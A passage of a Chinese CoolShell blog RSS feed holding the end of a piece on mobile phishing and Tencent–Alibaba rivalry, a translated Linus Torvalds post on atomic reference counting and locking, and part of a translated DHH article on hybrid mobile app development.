我虽然这么说，但从我个人来说，我非常理解微信为了让用户有很好的体验而不让微信成为一个四处都是营销商品的地方。所以，我从个人来说，希望微信不要成为一个商家的营销地。另外，我也知道阿里对移动端的看重，所以，上述的方案虽然对用户体验和安全都比较好，但是从目前商业利益的情况看来基本无法实现。不过我这里也只是抛砖引玉了。</p>\n<p>面对安全和用户这两个事，<strong>你们两个中国最大的互联网公司，应该带头做好榜样，你们都是不缺钱的公司，应该更多的承担起社会的责任，真正为用户做点什么，而不是整天想着流量入口，互相屏蔽，互相指责，想着自己能有多少用户，这TMD太LOW了，和你们的地位完全不符。所以，从站在用户的角度上来说，我希望微信和淘宝都能站在用户的角度上思考问题，一起合作来真正的为用户更好的服务。</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17066.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>55</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linus：为何对象引用计数必须是原子的</title>\n\t\t<link>https://coolshell.cn/articles/16910.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/16910.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Wed, 31 Dec 2014 01:59:33 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Atomic]]></category>\n\t\t<category><![CDATA[Concurrency]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<category><![CDATA[lock-free]]></category>\n\t\t<category><![CDATA[Parallelism]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=16910</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） Linus大神又在rant了！这次的吐槽对象是时下很火热的并行技术(parellism)，并直截了当地表示并行计算是浪费所...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/16910.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/16910.html\">Linus：为何对象引用计数必须是原子的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>Linus大神又在rant了！这次的吐槽对象是时下很火热的<strong>并行技术(parellism)</strong>，并直截了当地表示<a title=\"并行计算基本上就是浪费大家的时间\" href=\"http://www.vaikan.com/linus-parallel-computing-is-a-huge-waste-of-everybodys-time/\" target=\"_blank\">并行计算是浪费所有人时间</a>(<a href=\"http://www.realworldtech.com/forum/?threadid=146066&amp;curpostid=146227\">&#8220;The whole &#8220;let&#8217;s parallelize&#8221; thing is a huge waste of everybody&#8217;s time.&#8221;</a>)。大致意思是说<strong>乱序性能快、提高缓存容量、降功耗</strong>。当然笔者不打算正面讨论并行的是是非非（过于宏伟的主题），因为Linus在另一则<a title=\"reference counting\" href=\"http://www.realworldtech.com/forum/?threadid=146066&amp;curpostid=146183\" target=\"_blank\">帖子</a>中举了对象<strong>引用计数(reference counting)</strong>的例子来说明并行的复杂性。</p>\n<p>在Linus回复之前有人指出<strong>对象需要锁机制的情况下，引用计数的原子性问题：</strong></p>\n<blockquote><p>Since it is being accessed in a multi-threaded way, via multiple access paths, generally it needs its own mutex &#8212; otherwise, reference counting would not be required to be atomic and a lock of a higher-level object would suffice.</p>\n<p>由于（对象）通过多线程方式及多种获取渠道，一般而言它需要自身维护一个互斥锁——否则引用计数就不要求是原子的，一个更高层次的对象锁足矣。</p></blockquote>\n<p>而Linus不那么认为：</p>\n<blockquote><p>The problem with reference counts is that you often need to take them *before* you take the lock that protects the object data.</p>\n<p>引用计数的问题在于你经常需要在对象数据<strong>上锁保护之前</strong>完成它。</p></blockquote>\n<p>The thing is, you have two different cases:</p>\n<p>问题有两种情况：</p>\n<p style=\"padding-left: 30px;\"><strong>&#8211; object *reference* 对象引用</strong></p>\n<p style=\"padding-left: 30px;\"><strong>&#8211; object data 对象数据</strong></p>\n<p>and they have completely different locking.</p>\n<p><strong>它们锁机制是完全不一样的。</strong></p>\n<p><span id=\"more-16910\"></span></p>\n<p>Object data locking is generally per-object. Well, unless you don&#8217;t have huge scalability issues, in which case you may have some external bigger lock (extreme case: one single global lock).</p>\n<p>对象数据保护一般是一个对象拥有一个锁，假设你没有海量扩展性问题，不然你需要一些外部大一点的锁（极端的例子，一个对象一个全局锁）。</p>\n<p>But object *referencing* is mostly about finding the object (and removing/freeing it). Is it on a hash chain? Is it in a tree? Linked list? When the reference count goes down to zero, it&#8217;s not the object data that you need to protect (the object is not used by anything else, so there&#8217;s nothing to protect!), it&#8217;s the ways to find the object you need to protect.</p>\n<p>但对象引用主要关于对象的寻找（移除或释放），它是否在哈希链，一棵树或者链表上。<strong>当对象引用计数降为零，你要保护的不是对象数据，因为对象没有在其它地方使用，你要保护的是对象的寻找操作。</strong></p>\n<p>And the lock for the lookup operation cannot be in the object, because &#8211; by definition &#8211; you don&#8217;t know what the object is! You&#8217;re trying to look it up, after all.</p>\n<p>而且查询操作的锁不可能在对象内部，因为根据定义，你还不知道这是什么对象，你在尝试寻找它。</p>\n<p>So generally you have a lock that protects the lookup operation some way, and the reference count needs to be atomic with respect to that lock.</p>\n<p>因此一般你要对查询操作上锁，而且引用计数相对<strong>那个锁</strong>来说是原子的（译者注：查询锁不是引用计数所在的对象所有，不能保护对象引用计数，后面会解释为何引用计数变更时其所在对象不能上锁）。</p>\n<p>And yes, that lock may well be sufficient, and now you&#8217;re back to non-atomic reference counts. But you usually don&#8217;t have just one way to look things up: you might have pointers from other objects (and that pointer is protected by the object locking of the other object), but there may be multiple such objects that point to this (which is why you have a reference count in the first place!)</p>\n<p>当然这个锁是充分有效的，现在假设引用计数是非原子的，但你常常不仅仅使用一种方式来查询：你可能拥有其它对象的指针（这个指针又被其它对象的对象锁给保护起来），但同时还会有多个对象指向它（这就是为何你第一时间需要引用计数的理由）。</p>\n<p>See what happens? There is no longer one single lock for lookup. Imagine walking a graph of objects, where objects have pointers to each other. Each pointer implies a reference to an object, but as you walk the graph, you have to release the lock from the source object, so you have to take a new reference to the object you are now entering.</p>\n<p>看看会发生什么？查询不止存在一个锁保护。你可以想象走过一张对象流程图，其中对象存在指向其它对象的指针，每个指针暗含了一次对象引用，但当你走过这个流程图，你必须释放源对象的锁，而你进入新对象时又必须增加一次引用。</p>\n<p>And in order to avoid deadlocks, you can not in the general case take the lock of the new object first &#8211; you have to release the lock on the source object, because otherwise (in a complex graph), how do you avoid simple ABBA deadlock?</p>\n<p>而且为了避免死锁，你一般不能立即对新对象上锁——你必须释放源对象的锁，否则在一个复杂流程图里，你如何避免<strong>ABBA死锁</strong>（译者注：假设两个线程，一个是A-&gt;B，另一个B-&gt;;A，当线程一给A上锁，线程二给B上锁，此时两者谁也无法释放对方的锁）？</p>\n<p>So atomic reference counts fix that. They work because when you move from object A to object B, you can do this:</p>\n<p>原子引用计数修正了这一点，当你从对象A到对象B，你会这样做：</p>\n<p>(a) you have a reference count to A, and you can lock A</p>\n<p style=\"padding-left: 30px;\">对象A增加一次引用计数，并上锁。</p>\n<p>(b) once object A is locked, the pointer from A to B is stable, and you know you have a reference to B (because of that pointer from A to B)</p>\n<p style=\"padding-left: 30px;\">对象A一旦上锁，A指向B的指针就是稳定的，于是你知道你引用了对象B。</p>\n<p>(c) but you cannot take the object lock for B (ABBA deadlock) while holding the lock on A</p>\n<p style=\"padding-left: 30px;\">但你不能在对象A上锁期间给B上锁（ABBA死锁）。</p>\n<p>(d) increment the atomic reference count on B</p>\n<p style=\"padding-left: 30px;\">对象B增加一次原子引用计数。</p>\n<p>(e) now you can drop the lock on A (you&#8217;re &#8220;exiting&#8221; A)</p>\n<p style=\"padding-left: 30px;\">现在你可以扔掉对象A的锁（退出对象A）。</p>\n<p>(f) your reference count means that B cannot go away from under you despite unlocking A, so now you can lock B.</p>\n<p style=\"padding-left: 30px;\">对象B的原子引用计数意味着即使给A解锁期间，B也不会失联，现在你可以给B上锁。</p>\n<p>See? Atomic reference counts make this kind of situation possible. Yes, you want to avoid the overhead if at all possible (for example, maybe you have a strict ordering of objects, so you know you can walk from A to B, and never walk from B to A, so there is no ABBA deadlock, and you can just lock B while still holding the lock on A).</p>\n<p>看见了吗？原子引用计数使这种情况成为可能。是的，你想尽一切办法避免这种代价，比如，你也许把对象写成严格顺序的，这样你可以从A到B，绝不会从B到A，如此就不存在ABBA死锁了，你也就可以在A上锁期间给B上锁了。</p>\n<p>But if you don&#8217;t have some kind of forced ordering, and if you have multiple ways to reach an object (and again &#8211; why have reference counts in the first place if that isn&#8217;t true!) then atomic reference counts really are the simple and sane answer.</p>\n<p>但如果你无法做到这种强迫序列，如果你有多种方式接触一个对象（再一次强调，这是第一时间使用引用计数的理由），这样，原子引用计数就是简单又理智的答案。</p>\n<p>If you think atomic refcounts are unnecessary, that&#8217;s a big flag that you don&#8217;t actually understand the complexities of locking.</p>\n<p><strong>如果你认为原子引用计数是不必要的，这就大大说明你实际上不了解锁机制的复杂性。</strong></p>\n<p>Trust me, concurrency is hard. There&#8217;s a reason all the examples of &#8220;look how easy it is to parallelize things&#8221; tend to use simple arrays and don&#8217;t ever have allocations or freeing of the objects.</p>\n<p>相信我，<strong>并发设计是困难的。</strong>所有关于“并行化如此容易”的理由都倾向于使用简单数组操作做例子，甚至不包含对象的分配和释放。</p>\n<p>People who think that the future is highly parallel are invariably completely unaware of just how hard concurrency really is. They&#8217;ve seen Linpack, they&#8217;ve seen all those wonderful examples of sorting an array in parallel, they&#8217;ve seen all these things that have absolutely no actual real complexity &#8211; and often very limited real usefulness.</p>\n<p>那些认为未来是高度并行化的人一成不变地完全没有意识到并发设计是多么困难。他们只见过<a title=\"Linpack\" href=\"http://en.wikipedia.org/wiki/LINPACK\" target=\"_blank\">Linpack</a>，他们只见过并行技术中关于数组排序的一切精妙例子，他们只见过一切绝不算真正复杂的事物——对真正的用处经常是非常有限的。</p>\n<p>（译者注：当然，我无意借大神之口把技术宗教化。实际上Linus又在另一篇<a title=\"评价\" href=\"http://www.realworldtech.com/forum/?threadid=146066&amp;curpostid=146198\" target=\"_blank\">帖子</a>中综合了对并行的评价。）</p>\n<p>Oh, I agree. My example was the simple case. The really complex cases are much worse.</p>\n<p>哦，我同意。我的例子还算简单，真正复杂的用例更糟糕。</p>\n<p>I seriously don&#8217;t believe that the future is parallel. People who think you can solve it with compilers or programming languages (or better programmers) are so far out to lunch that it&#8217;s not even funny.</p>\n<p>我严重不相信未来是并行的。有人认为你可以通过编译器，编程语言或者更好的程序员来解决问题，他们目前都是神志不清，没意识到这一点都不有趣。</p>\n<p>Parallelism works well in simplified cases with fairly clear interfaces and models. You find parallelism in servers with independent queries, in HPC, in kernels, in databases. And even there, people work really hard to make it work at all, and tend to expressly limit their models to be more amenable to it (eg databases do some things much better than others, so DB admins make sure that they lay out their data in order to cater to the limitations).</p>\n<p>并行计算可以在简化的用例以及具备清晰的接口和模型上正常工作。你发现并行在服务器上独立查询里，在高性能计算(High-performance computing)里，在内核里，在数据库里。即使如此，人们还得花很大力气才能使它工作，并且还要明确限制他们的模型来尽更多义务（例如数据库要想做得更好，数据库管理员得确保数据得到合理安排来迎合局限性）。</p>\n<p>Of course, other programming models can work. Neural networks are inherently very parallel indeed. And you don&#8217;t need smarter programmers to program them either..</p>\n<p>当然，其它编程模型倒能派上用场，神经网络(neural networking)天生就是非常并行化的，你不需要更聪明的程序员为之写代码。</p>\n<h4>参考资料</h4>\n<ul>\n<li><a title=\"Real World Technologies\" href=\"http://www.realworldtech.com/\" target=\"_blank\">Real World Technologies</a>：Linus常去“灌水”的一个论坛，讨论未来机器架构（看名字就知道Linus技术偏好，及其之前对虚拟化技术(virtualization)的<a title=\"virtualization is evil\" href=\"http://www.networkworld.com/article/2220440/opensource-subnet/torvalds-says---virtualization-is-evil-.html\" target=\"_blank\">吐槽</a>）</li>\n<li><a title=\"多线程程序中操作的原子性\" href=\"http://www.parallellabs.com/2010/04/15/atomic-operation-in-multithreaded-application/\" target=\"_blank\">多线程程序中操作的原子性</a>：解释为什么i++不是原子操作</li>\n<li><a title=\"Concurrency Is Not Parallelism\" href=\"http://www.vaikan.com/docs/Concurrency-is-not-Parallelism\" target=\"_blank\"> Concurrency Is Not Parallelism</a>：Go语言之父Rob Pike幻灯片解释“并发”与“并行”概念上的区别</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Alan Cox：大教堂、市集与市议会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_title\">Alan Cox：大教堂、市集与市议会</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8275.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"对九个超级程序员的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8275.html\" class=\"wp_rp_title\">对九个超级程序员的采访</a></li><li ><a href=\"https://coolshell.cn/articles/6790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/o_conditional_update_1-150x150.png\" alt=\"多版本并发控制(MVCC)在分布式系统中的应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6790.html\" class=\"wp_rp_title\">多版本并发控制(MVCC)在分布式系统中的应用</a></li><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"https://coolshell.cn/articles/1619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/Linus_windows_7-150x150.jpg\" alt=\"Windows 7 的新粉丝 Linus Torvalds\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1619.html\" class=\"wp_rp_title\">Windows 7 的新粉丝 Linus Torvalds</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/16910.html\">Linus：为何对象引用计数必须是原子的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/16910.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>37</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>DHH 谈混合移动应用开发</title>\n\t\t<link>https://coolshell.cn/articles/12225.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12225.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Mon, 15 Dec 2014 02:57:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[Hybrid]]></category>\n\t\t<category><![CDATA[iOS]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[WebView]]></category>\n\t\t<category><![CDATA[移动开发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12225</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>&#160; David，Ruby on Rails 作者，37signals 合伙人 畅销书作家、演说家、赛车手、业余摄影师、顾家好男人 &#160; 37s...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12225.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>&nbsp;</p>\n<p style=\"text-align: right;\"><img decoding=\"async\" loading=\"lazy\" class=\"paddging: 10px; 20px; alignright wp-image-16861\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"1053-DHH\" width=\"80\" height=\"80\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-300x300.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-200x200.jpg 200w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-270x270.jpg 270w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH.jpg 451w\" sizes=\"(max-width: 80px) 100vw, 80px\" />David，Ruby on Rails 作者，37signals 合伙人</p>\n<p style=\"text-align: right;\">畅销书作家、演说家、赛车手、业余摄影师、顾家好男人</p>\n<p>&nbsp;</p>\n<p><a href=\"http://37signals.com/\" target=\"_blank\">37signals</a> 在2013年2月发布了 Basecamp 的 iPhone app，在此之前我们就使用原生开发（native）还是混合开发（hybrid）做了许多尝试。在2012年项目启动的时候，大多数人都倾向于原生开发。</p>\n<p>Facebook 在2012年发布了他们新的 iOS app，为了获得更好的用户体验，他们放弃了原来的 HTML5 混合开发方式。考虑到2010～2011年的时候，HTML 在移动端的性能确实不尽如人意，这个决定在当时看来也在情理之中。2010年的时候我们觉得 iPhone 3G/3GS 够眩够快，但按照现在的标准来看它们就太慢了。因此在为移动应用开发做架构设计时，我们需要考虑新的移动设备的计算能力，而不是那些老的过时的设备。</p>\n<h4>移动开发架构设计不需要过多考虑设备的性能</h4>\n<p>我们从一些测试中得出的一个结论是：现在的移动设备计算能力都很强，运行原生应用和 HTML 应用的效果差别不大，而 HTML 开发的成本则要比原生开发小得多。</p>\n<p>当然这个结论在某些领域并不太适用。如果你要开发一个 3D 游戏，原生开发方式能够带来更好的游戏体验。但如果你的移动应用象 Basecamp 一样侧重信息处理，为了降低开发成本，你就可以考虑混合开发方式。我们就是如此，下面是我们三代移动产品的发展轨迹：</p>\n<p><span id=\"more-12225\"></span></p>\n<h4>第一代产品：原生外壳(native shell)＋嵌套WebView</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-16868 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/1159-basecamp-app-phones-300x242.jpg\" alt=\"1159-basecamp-app-phones\" width=\"300\" height=\"242\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/1159-basecamp-app-phones-300x242.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/12/1159-basecamp-app-phones.jpg 660w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p>这个版本就是一个简单的原生外壳负责界面导航，嵌套一个 WebView 来显示 Basecamp Rail application，显示的基本上都是我们移动网站页面，再加上一些特殊的样式。</p>\n<p>在移动网站的页面上嵌套一个原生的壳，听起来还是 Web 页面，但实际带给用户的体验确是非常不同。用户可以在 Apple App Store 找到我们的 app，他们一旦登录 app 后可以再也不用重新登录（移动版本的 Safari 似乎会经常清空 cookie，让你不得不重新登录）。我们的 app 大受欢迎，用户评分在4和5之间。</p>\n<p>整个 app 由一名程序员和一名设计师开发，成本不高，因为我们可以在已有的移动网站的基础上开发。</p>\n<p>如果我们当初开发完全原生的 app，用10个人的团队1年半的时间也未必能完成。</p>\n<p>&nbsp;</p>\n<h4>第二代产品：原生外壳＋原生导航界面</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-16869 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/1543-unnamed-187x300.png\" alt=\"1543-unnamed\" width=\"187\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/1543-unnamed-187x300.png 187w, https://coolshell.cn/wp-content/uploads/2014/12/1543-unnamed.png 562w\" sizes=\"(max-width: 187px) 100vw, 187px\" /></p>\n<p>几个月前发布的 Basecamp Android app 是我们的第二代产品，我们在其中做了大量的改进。</p>\n<p>从第一代 iPhone app 中我们感受到了原生导航界面的威力，所以在 Android 版本中，我们由 HTML 页面导航转向了原生导航界面。我们从 HTML 页面生成原生导航界面，用户体验更加流畅，原生界面和 HTML 页面的体验差别越来越小，甚至很难区分哪些是原生部分，哪些是 HTML 。</p>\n<p>Android 版本是由一两个程序员和一个设计师开发（50%投入）完成的。我们重用了移动站点和 iPhone app 中使用的所有 webview，大大提高了开发效率，同时用户也很买账，超过1000名用户打了4.5~5的高分。</p>\n<p>很多公司在抱怨他们的 iOS 移动项目进展缓慢，Android 项目似乎更是如此。或许他们已经习惯了 iOS 项目的开发流程，也许是因为 Android 的屏幕碎片化问题，但是这些对我们来说那都不是事。我们推出的 Android app 表现良好，重用了95%的代码，开发团队也一直保持在小规模。</p>\n<p>&nbsp;</p>\n<h4>因地制宜地运用原生开发方式</h4>\n<p>目前我们正在开发第三代产品，发布的平台暂时保密，不过你应该也不难猜到。在前两代产品中，我们增加了原生导航界面的使用，同时进一步确定了以 webview 为核心的整体架构。在第三代产品中，我们将因地制宜地选择需要使用原生开发的功能，好钢要用在刀刃上。</p>\n<p>从之前的100% HTML，到现在的90% HTML +10%原生，我们会选择最值得做原生开发的那10%的部分，最终目的是让 app 原生部分和 HTML 部分的体验没有太大区别。</p>\n<p>&nbsp;</p>\n<h4>混合开发模式使用的技术</h4>\n<p>混合开发模式在技术很简单，主要是处理 webview 的集成、Web 页面的加载，以及原生内容和 HTML 内容之间的交叉链接，其实可能比你想像的还要简单得多。</p>\n<p>HTML 方面，我们的 Rails Web 应用支持 Web 和移动两大平台，其中 <a href=\"http://edgeguides.rubyonrails.org/4_1_release_notes.html#action-pack-variants\" target=\"_blank\">Rails 4.1 feature of variants</a> 起了很大的作用。</p>\n<p>这也很大程度上有助于我们发布新功能。设想一下如果我们每次需要更新这么多平台：Rails desktop app, a Rails API app, a client-side MVC app, a mobile web wrapper app, an Android app, and an iPhone app，像我们这样只有10个程序员和7个设计师的公司根本无力承担如此巨大的工作量。</p>\n<p>除了工作量的减轻，bug 修复效率也提高了，因为大部分的代码逻辑是在 Web 服务器端，我们可以随时修改代码并发布，不用通过 Apple App Store 的审批流程。所以我们的移动 app 和 Web 应用一样，也是持续部署。</p>\n<p>就如我之前提到的，混合模式开发并不适用于所有情况。在2010年以前，那时手机的处理能力都不强，所以 HTML/JS 的体验并不好，用户也不喜欢。但是时过境迁，现在手机的处理能力大大提高了，HTML/JS 的性能也不再是一个问题。</p>\n<p>&nbsp;</p>\n<h4>混合开发模式对原生开发模式的挑战</h4>\n<p>混合开发模式在降低开发复杂度方面有它的优势，如果你的产品是以显示和处理信息为主，我认为都可以不同程度地采用这个模式。</p>\n<p>对于小型团队和公司而言，并不一定需要采用 iOS 原生 app 先行的模式。使用混合模式，不需要你重头开发一个 app，这样可以降低维护成本，将来扩展到其他平台也更为方便。</p>\n<p>当然我知道会有很多人质疑这个模式，或许因为他们的 app 中有很多地方需要原生开发（也许仅仅是他们自己这样认为罢了）。又或许他们已经花了很多时间让 app 里的 UITableView 看起来非常漂亮，以致如果其他地方不这样的话显得不是太完美。再或许大公司就是喜欢耗时耗力的原生开发，有钱就是这么任性。</p>\n<p>无论怎样，混合开发当下应该能够成为我们移动开发策略的一个选择。如果你认为这是一个好的选择，那么恭喜你，尽情愉快地玩耍吧！</p>\n<p>&nbsp;</p>\n<p><em>原文链接：<a href=\"https://signalvnoise.com/posts/3743?utm_campaign=iOS_Dev_Weekly_Issue_175&amp;utm_medium=email&amp;utm_source=iOS%2BDev%2BWeekly\" target=\"_blank\">Hybrid sweet spot: Native navigation, web content</a></em></p>\n<p>&nbsp;</p>\n<p>下面补充一些 David 答读者问：</p>\n<p>&nbsp;</p>\n<p>Mike Waite @ 2014-05-08：我很好奇你是如何决定哪些功能要用原生开发？<br />\nDavid @ 2014-05-08：主要靠感觉，这毕竟不是一门科学。如果你感觉你app的某一部分如果用原生开发会更好些，可以尝试做快速原型（spike）。很多时候我们通过这种方式证明我们的想法其实是错的。当然如果你需要使用到手机上的功能如：摄像和其他设备时，HTML目前还不太适用，不过永远也不要把话说死。</p>\n<p>&nbsp;</p>\n<p>Mike Parsons @ 2014-05-08：好文。很好奇你们是否使用 PhoneGap 或者 Cordova 